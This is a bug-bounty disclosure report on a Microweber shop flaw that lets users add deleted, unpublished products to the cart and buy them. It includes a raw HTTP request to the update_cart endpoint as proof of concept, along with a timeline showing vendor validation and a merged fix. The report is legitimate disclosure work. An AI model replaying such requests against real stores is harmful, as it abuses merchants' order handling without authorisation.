Business Logic Errors in microweber/microweber

Valid

Reported on

Feb 24th 2022


Description

Product (status of product is unpublished) has been deleted by admin (in Trash folder) but user can still add to cart and make purchases

Proof of Concept

Step 1: Admin go to Shop > Products:  Unpublish product and Delete product
Step 2: User add product to cart by request
POST /demo/api/update_cart HTTP/1.1
Host: demo.microweber.org
Cookie: laravel_session=RFi1m9FJtrMWKbIiBU1jtkSbS1kptgVMESVsCq3E; csrf-token-data=%7B%22value%22%3A%22XxGwqHlTMfA68SQNI4ECjFaafwIvqGcExatjLvmr%22%2C%22expiry%22%3A1645670756283%7D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 13
Origin: https://demo.microweber.org
Dnt: 1
Referer: https://demo.microweber.org/demo/shop
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

content_id=15
Demo with product id = 15

https://drive.google.com/file/d/1XriKKJz3q6TchFMHF9Ec2wM0OaSxVEHU/view?usp=sharing

Impact

User can add deleted product to cart and buy it

We are processing your report and will contact the microweber team within 24 hours. 3 months ago
Andy modified the report
3 months ago
We have contacted a member of the microweber team and are waiting to hear back 3 months ago
Bozhidar Slaveykov validated this vulnerability 3 months ago
Andy has been awarded the disclosure bounty
The fix bounty is now up for grabs
Bozhidar Slaveykov confirmed that a fix has been merged on 763612 3 months ago
Bozhidar Slaveykov has been awarded the fix bounty
to join this conversation